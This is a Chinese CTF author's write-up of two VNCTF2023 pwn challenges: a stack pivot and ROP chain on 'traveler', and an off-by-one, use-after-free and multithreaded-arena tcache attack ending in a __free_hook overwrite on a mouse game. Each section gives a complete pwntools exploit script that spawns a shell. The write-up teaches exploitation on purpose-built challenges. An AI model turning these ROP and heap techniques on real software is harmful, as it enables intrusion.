VNCTF2023出题手记
前言
学pwn也有一年了,这还是第一次较为正式的参与比赛的出题。介于本人技术有限,所以两题的难度都不高。
(而且由于经验不足,导致这次我的两题给很多师傅带来了不好的体验,在这里给各位师傅们真诚地磕一个)
(问卷反馈的最爱&最恨的top2都是traveler和鼠鼠的奇妙冒险)
traveler
人的一生能有多少次旅行呢
分析
保护只开了NX,main函数很明显的栈溢出。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
puts("who r u?");
read(0, buf, 0x30uLL);
puts("How many travels can a person have in his life?");
read(0, &msg, 0x28uLL);
return 0;
}
buf处溢出覆盖rbp之后还能写下一个gadget,并且往msg读了0x28。很明显的栈迁起手式。
因为没有使用去掉csu的版本,所以gadget方面是几乎没有限制的,
> ROPgadget --binary ./traveler | grep pop
0x000000000040117b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401176 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x00000000004011da : nop ; pop rbp ; ret
0x00000000004012bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012c0 : pop r14 ; pop r15 ; ret
0x00000000004012c2 : pop r15 ; ret
0x00000000004012bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012bf : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x00000000004012c3 : pop rdi ; ret
0x00000000004012c1 : pop rsi ; pop r15 ; ret
0x00000000004012bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
起system的话,ROP的构造如下:
b'/bin/sh\x00' + p64(pop_rdi) + p64(binsh_addr) + p64(elf.symbols['system'])
只需要0x20的长度即可。
但msg位于.bss的开头,直接起system的话,rsp会减到前面的.got里,然后就会导致crash。
所以考点就在于:
- msg位于bss段开头,如果直接在这里起system,栈空间不够
- 只有0x28如何写下rop
先来解决第一个问题,如何在.bss中留够栈空间。
这个估计是该题唯一的难点了,但其实也很容易想到,只需要用这0x28的rop调用read,控制rsi为当前rop的结束位置,读入下一段rop并让rsp顺利滑到下一个rop上即可。
光是这么说可能有点抽象,可以看下面这个示意图。
重复用这些read来不断抬高rsp,当次数足够时,system的栈空间就留够了。
然后再来看第二个问题,0x28如何写下read。
其实很容易看出来,main函数在返回前调用了read(0, &msg, 0x28)
,rdi和rdx都已经不用管了,只需要控制rsi为msg+0x28*i
就行了。所以有如下构造:
p64(pop_rsi_r15) + p64(bss+0x28*i) + p64(0) + p64(elf.symbols['read']) + p64(ret)
刚好用0x28,且rsp也能滑到下一个rop上。
(你看他从栈迁到不断抬栈,像不像经历了许多次旅行)
在看了师傅们交上来的wp之后,发现了许多非预期的解法,比如复用main函数代码的就有两种思路,①第一次溢出劫持rsi和rbp之后重新回到0x401244
或②在第一次溢出劫持rbp后直接返回0x4012116
来劫持rsi,这两种方法都能直接把rop读到bss高位然后借用main本身的function epilogue自然而然的迁移过去。
(优雅,实在是太优雅了.jpg)
还有一位师傅直接使用puts leak出libc之后强行在rop中满足了ogg的条件并调用了ogg来getshell(绝)。
(和这些解法比起来,出题人的预期解低效且丑陋,反而变得更像是非预期了)
exp
from pwn import *
import sys
context.log_level='debug'
path_to_elf = '/home/kotori/Desktop/vnctf/traveler/traveler'
ip = sys.argv[1]
port = int(sys.argv[2])
elf = ELF(path_to_elf)
if port == 0:
p = process(path_to_elf)
else:
p = remote(ip, port)
def g(arg=''):
gdb.attach(p, arg)
raw_input()
bss = 0x4040a0
leave_ret = 0x0000000000401253 # leave ; ret
pop_rdi = 0x00000000004012c3 # pop rdi ; ret
pop_rsi_r15 = 0x00000000004012c1 # pop rsi ; pop r15 ; ret
ret = pop_rdi + 1
pay = b'a'*0x20 + p64(bss-0x8) + p64(leave_ret)
p.sendafter('u?', pay)
pay = p64(pop_rsi_r15) + p64(bss+0x28) + p64(0)
pay += p64(elf.plt['read']) + p64(ret)
# g()
p.sendafter('e?', pay)
for i in range(2,60):
pay = p64(pop_rsi_r15) + p64(bss+(0x28*i)) + p64(0)
pay += p64(elf.plt['read']) + p64(ret)
p.send(pay)
pay = p64(ret) + p64(pop_rdi) + p64(bss+0x7c8+10*0x28) + p64(elf.symbols['system'])
pay += b'/bin/sh\x00'
p.sendline(pay)
p.interactive()
鼠鼠的奇妙冒险
我的梦想是成为鼠中gangstar!
分析
考虑到比赛时间只有12h且pwn方向题目较多,所以为了减少逆向难度,我直接把源码全部给出来了(不会开发,代码写的比较答辩还请师傅们海涵)
保护全开,为了方便师傅们调试,编译的时候带了符号。
最主要的漏洞点应该还是很好找的,位于game.c
的fight
中。
uint32_t fight(mouse_t *a, mouse_t *b) {
......
switch(sig) {
case F_WIN:
......
free(b);
// especial mouse will do sth here...
// ...
if(b->type == LOST_MOUSE) {
printf("[lost mouse] I lost my name in a duel in the past.\n");
printf("[lost mouse] Can you help me find my original name? (y/N)\n");
printf("[%s]", a->name);
read(0, buf, 2);
if(buf[0] == 'y' || buf[0] == 'Y') {
printf("[lost mouse] I only remember that"
" my name has 2 characters.\n");
printf("[%s] ", a->name);
read(0, b->name, 2);
......
}
}
......
}
......
}
这里在free(b)
之后,如果对方是LOST_MOUSE
,就能够直接uaf写2bytes。
暂且不看这里如何利用,先看看如何到达这个有漏洞的代码部分。
整个游戏中调用了fight()
的只有loadLevel()
和dummyFight()
,不过要遇到type为LOST_MOUSE
的敌人,就只有走dummyFight()
这条链子,即:
arena() -> dummyArena() -> dummyFight() -> fight()
想要从进入dummyArena()
,还需要满足eeee->attr & S_CLONE
。
case 0:
if(eeee->attr & S_CLONE) {
dummyArena();
break;
}
在mouse.c
的useItemImpl()
中可以看到,使用道具book3
就能获得这个技能。
else if(!strcmp(obj, "book3")) {
_this->attr |= S_CLONE;
printf("[God] %s learned new skill: "
"\033[33mclone\033[m.\n", _this->name);
}
不过想要获得book3
,需要大量的coin。
static shopItem_t shop_list[0x8] = {
{"sword", 5},
{"shield", 5},
{"nameTag", 68},
{"book1", 98},
{"book2", 198},
{"book3", 0x114514},
{"potion1", 5},
{"potion2", 30},
};
step1. 打怪刷钱
为了买到book3
,首先就需要刷钱。
typedef struct MouseAttr {
uint32_t hp;
uint32_t atk;
uint32_t coin;
uint32_t attr;
char mayUse[0x10];
} mouseAttr_t;
static mouseAttr_t attr_list[0x8] = {
{0xeeeea, 0xeeeea, 0xeeeea, S_FIRE|S_HEAL, "eeee"},
{13, 10, 0, 0, ""},
{1, 0, 0, 0, "dummy%04u"},
{10, 5, 1, 0, "normal mouse"},
{11, 6, 2, 0, "armed mouse"},
{50, 20, 4, 0, "elite mouse"},
{80, 80, 0, 0, "lost mouse"},
};
击败BOSS_MOUSE
,一次就可以获得0xeeeea的coin,这无疑是最快速的刷钱方法。
不过我们HERO_MOUSE
的atk
和hp
都远远比不过BOSS_MOUSE
,所以需要使用一些小手段。
同样是在useItemImpl()
中,会发现一处off by one的查找,
void useItemImpl(mouse_t *_this, char *obj) {
int i = 0;
for( ; i <= BAG_CAP; ++i) { // off by one
if(!strncmp(obj, _this->bag[i].name, 8)) {
if(_this->bag[i].attr & I_USEABLE) {
if(_this->bag[i].count == 0) {
puts("[God] You don't have that.");
return;
}
......
}
--_this->bag[i].count;
printf("[God] you used %s, leave %u.\n", \
_this->bag[i].name, _this->bag[i].count);
}
}
}
再结合一下mouse_t
和item_t
的结构
typedef struct Item {
char name[0x8];
uint32_t attr;
uint32_t count;
} item_t;
typedef struct Mouse {
char name[0x10];
item_t bag[BAG_CAP];
uint32_t id;
uint32_t type;
uint32_t hp;
uint32_t atk;
uint32_t coin;
uint32_t attr;
void* (*initBag)(struct Mouse *_this);
void* (*useItem)(struct Mouse *_this, char *obj);
void* (*queryStat)(struct Mouse *_this);
void* (*buyGoods)(struct Mouse *_this, char *obj);
} mouse_t;
bag这里的off by one,会把接下来的{id, type, hp, atk}
当做item_t
来解析,即{id, type}
作为item_t->name
,hp
作为item_t->attr
,atk
作为item_t->count
。
也就是说如果已知我们自己的id
和type
,然后让_this->bag[i].attr & I_USEABLE
为0,
就能借用他的--_this->bag[i].count;
来负数溢出我们的atk
。
溢出到(unsigned)-1
之后,就能轻松打赢BOSS_MOUSE
,然后刷钱了。
step2. dummyArena与利用的开端
拿到足够的钱之后,去商店购买book3
和nameTag
(这个为以后做准备)。
使用book3
学会技能clone
之后进入dummyArena
,
至此,该题的前戏部分结束,从这里开始分析最终的利用思路。
在dummyFight
中,如果你的对手是NORMAL_MOUSE
,就会触发与隐藏的LOST_MOUSE
的战斗。
if(ene->type == NORMAL_MOUSE) {
hiden_ene = malloc(sizeof(mouse_t));
initMouse(hiden_ene, LOST_MOUSE);
}
......
if(ene->type == NORMAL_MOUSE \
&& fight(dummy, hiden_ene)) {
return ;
}
且dummyArena
中提供了任意次数随机敌人类型的功能,可以保证想要的线程对上LOST_MOUSE
srand((unsigned)time(NULL));
dummyLevelEnemies[0] = dummyNum;
do {
for(i = 1; i < dummyLevelEnemies[0]; ++i) {
dummyLevelEnemies[i] = rand()%3+3;
}
printf("[God] your dummies will fight with:\n");
for(i = 1; i < dummyLevelEnemies[0]; ++i) {
printf("\033[34m(%u) %s\033[m, ", \
i, attr_list[dummyLevelEnemies[i]].mayUse);
if(i % (winCol/22) == 0)
putchar(0x0A);
}
printf("\n[God] sure?(y/N)\n");
printf("[%s] ", eeee->name);
read(0, buf, 2);
} while(buf[0]!='y' && buf[0]!='Y');
我们创建的线程数也是可控的。
for(i = 1; i < dummyNum; ++i) {
pthread_create(&dummyThread[i], NULL, dummyFight, (uint32_t *) &i);
usleep(10000);
}
一个常识,ptmalloc2
针对多线程一般是一个线程对应一个arena,不过在线程数>CPU核心数*8时(在x64下),又会尝试去对之前使用过的arena加lock,然后继续使用。(假设这个docker环境的核心数是2,那么第17个线程就会尝试对main_arena上锁并使用他的空间)
(这也是我让菜单显示选择ARENAS(竞技场)的原因,他其实带有一定的暗示是和glibc的arena相关的trick了hh)
此时,再结合2byte的uaf这个洞,是否隐约可以联想到一些东西了。
在使用tcache的glibc版本中,每个线程都会有一个tcache_pthread_struct
,并且在线程结束时会调用tcache_thread_shutdown
。
static void
tcache_thread_shutdown (void)
{
int i;
tcache_perthread_struct *tcache_tmp = tcache;
if (!tcache)
return;
/* Disable the tcache and prevent it from being reinitialized. */
tcache = NULL;
tcache_shutting_down = true;
/* Free all of the entries and the tcache itself back to the arena
heap for coalescing. */
for (i = 0; i < TCACHE_MAX_BINS; ++i)
{
while (tcache_tmp->entries[i])
{
tcache_entry *e = tcache_tmp->entries[i];
tcache_tmp->entries[i] = e->next;
__libc_free (e);
}
}
__libc_free (tcache_tmp);
}
它会遍历每个entries,然后free掉所有结点。
借用2bytes的uaf,可以达成对部分位置的free。但是由于2bytes的局限性,只能在原来next指针附近找。
所以这个时候,如果该线程是和main_arena共用内存的,那么就可以free掉自己,再配合改名卡就能劫持到next指针。
在每个己方mouse出生的时候都会给出一个坐标,
uint32_t position(mouse_t *m, int pos) {
return (((uint64_t)m >> (pos*8)) & 0xFFFF) ^ 0xBAAD;
}
对该坐标进行简单解密即可得到堆上的位置。
可以借用这个gift判断服务器环境是第几个线程开始复用main_arena,也可以借用他判断自己的位置和该dummy的位置是否只有最后2bytes不同(如果超过2bytes了,那么就可以重开游戏了,不过这个概率并不大)
还需要注意的是,free自己的时候,自己的name的前8bytes一定要是\x00\x00\x00\x00\x00\x00\x00\x00
,不然tcache_thread_shutdown
会把这个name当指针去free下一个chunk,大概率会段错误。
因此在原题中我也加了这个判断,
if(*((uint64_t**) (b->name))[0] == O_NAME) { // O_NAME == 0
printf("[%2s] that's my name!\n", b->name);
printf("[%2s] thank you very much!\n", b->name);
}
else {
*((uint64_t *) b->name) = O_NAME;
printf("[ ] That's not my name. "
"Maybe I will remember it at the end of my life.\n");
}
step3. 完成后续的利用
free掉自己之后,main_arena的bins结构如下:
pwndbg> bins
tcachebins
0x20 [ 2]: 0x55c68921e920 —▸ 0x55c68921e2a0 ◂— 0x0
0xd0 [ 1]: 0x55c689229d50 ◂— 0x0
0x120 [ 7]: 0x55c68922a4e0 —▸ 0x55c68922a3c0 —▸ 0x55c68922a2a0 —▸ 0x55c68922a180 —▸ 0x55c68922a060 —▸ 0x55c689229f40 —▸ 0x55c689229e20 ◂— 0x0
0x1e0 [ 1]: 0x55c68921eeb0 ◂— 0x0
0x370 [ 1]: 0x55c68921eb40 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55c68922a5f0 —▸ 0x55c68922c210 —▸ 0x55c689229c70 —▸ 0x7ff7c1b65be0 (main_arena+96) ◂— 0x55c68922a5f0
smallbins
empty
largebins
empty
我们自己的chunk被放入了unsortedbin,且fd就是libc上的地址,所以可以直接通过查询status来leak libc。
然后为了能够打tcache的任意申请,还需要调整一下bin,让这个chunk到tcache bin里去。
这个时候可以借用只有2个enemies的level2,
static uint32_t enemies[LEVELS][LEVEL_MAX_NUM] = {
{1, NORMAL_MOUSE, USELESS, USELESS, USELESS, USELESS},
{2, ARMED_MOUSE, ARMED_MOUSE, USELESS, USELESS, USELESS},
{1, BOSS_MOUSE, USELESS, USELESS, USELESS, USELESS}
};
uint32_t levelEnemies[LEVEL_MAX_NUM];
uint32_t dummyLevelEnemies[LEVEL_MAX_NUM_DUMMY];
mouse_t *ene[LEVEL_MAX_NUM];
void loadLevel(uint32_t lev) {
int i;
--lev;
for(i = 0; i < LEVEL_MAX_NUM; ++i) {
levelEnemies[i] = enemies[lev][i];
}
// generate enemies
for(i = 1; i <= levelEnemies[0]; ++i) {
ene[i] = malloc(sizeof(mouse_t));
initMouse(ene[i], levelEnemies[i]);
}
for(i = 1; i <= levelEnemies[0]; ++i) {
fight(eeee, ene[i]);
sleep(1);
}
}
分别malloc和free了两个mouse_t变量之后,我们自己的chunk就来到tcache 0xd0那条entries的头部了,非常舒服。这个时候使用之前囤好的nameTag
,就可以劫持next指针了。
remake功能会重新malloc内存,然后送改名卡。
void remake() {
printf("[God] you wanna remake?\n");
printf("[God] okay, I'll satisfy you.\n");
char *tmp = eeee->name;
eeee = malloc(sizeof(mouse_t));
initMouse(eeee, HERO_MOUSE);
strncpy(eeee->name, tmp, strlen(tmp));
printf("[God] ...and I'll give you a nameTag.\n");
++eeee->bag[2].count;
}
我这里是选择劫持__free_hook-0x8
,然后重开两次并改名字为b'/bin/sh\x0A' + p64(system_addr)
不用/bin/sh\x00
是因为会截断改名卡中的strncpy。
最后退出游戏,利用doExit()
中的free即可getshell。
exp
from pwn import *
import sys
context.log_level = 'debug'
path_to_elf = '/home/kotori/Desktop/vnctf/rats/rats'
ip = sys.argv[1]
port = int(sys.argv[2])
elf = ELF(path_to_elf)
libc = elf.libc
if port == 0:
p = process(path_to_elf)
else:
p = remote(ip, port)
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
ru = lambda x : p.recvuntil(x)
def g(arg=''):
if port != 0:
return
gdb.attach(p, arg)
raw_input()
def choice(op):
sla('choice: ', str(op))
def arena(op):
choice(1)
choice(str(op))
def buy(obj):
choice(2)
sla('want a', obj)
def use(obj):
choice(3)
choice(1)
ru('use?\n')
sa(']', obj)
def leak_heap(x, y, z):
ret = (z ^ 0xBAAD)<<16
ret = (ret + y ^ 0xBAAD)<<16
ret += x ^ 0xBAAD
return ret
sa('> Press any key to start <', b'\x0A')
sa('name is: ', b'\x00'*0x10)
ru(': (')
xx = int(ru(', ')[:-2])
yy = int(ru(', ')[:-2])
zz = int(ru(').')[:-2])
eeee_addr = leak_heap(xx, yy, zz)
print(hex(eeee_addr))
arena(1)
# overflow atk
for i in range(11):
use(p32(1)+p32(1))
# get coins
for i in range(3):
arena(3)
# learn clone
buy('book3')
buy('nameTag')
buy('nameTag')
use('book3\n')
num = 17 # 33
arena(0)
sla('summon?', str(num))
content = ru('sure?')
target = '({}) normal mouse'.format(num-1)
print(target)
while bytes(target, encoding='UTF-8') not in content:
p.sendline('n')
content = ru('sure?')
sla('(y/N)', 'y')
ru('[God] dummy00{} is spanned at the position: ('.format(num-1))
xx = int(ru(', ')[:-2])
yy = int(ru(', ')[:-2])
zz = int(ru(').')[:-2])
dummy_addr = leak_heap(xx, yy, zz)
print(hex(dummy_addr))
assert (eeee_addr>>16) == (dummy_addr>>16)
ru('[dummy00')
idx = p.recv(2)
while idx != bytes(str(num-1), encoding='UTF-8'):
p.send('\x0A')
ru('[dummy00')
idx = p.recv(2)
p.sendline('y')
sa('[dummy00{}]'.format(num-1), p16(eeee_addr & 0xFFFF))
for i in range(31):
p.sendline('n')
choice(3)
libc_addr = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x1ecbe0
print(hex(libc_addr))
free_hook = libc_addr + libc.symbols['__free_hook']
sys = libc_addr + libc.symbols['system']
choice(2)
# unsortedbin -> tcache bin
arena(2)
use('nameTag\n')
sa('name:', p64(free_hook-0x8))
choice(4)
choice(4)
use('nameTag\n')
sa('name:', b'/bin/sh\x0A' + p64(sys))
g()
choice(5)
p.interactive()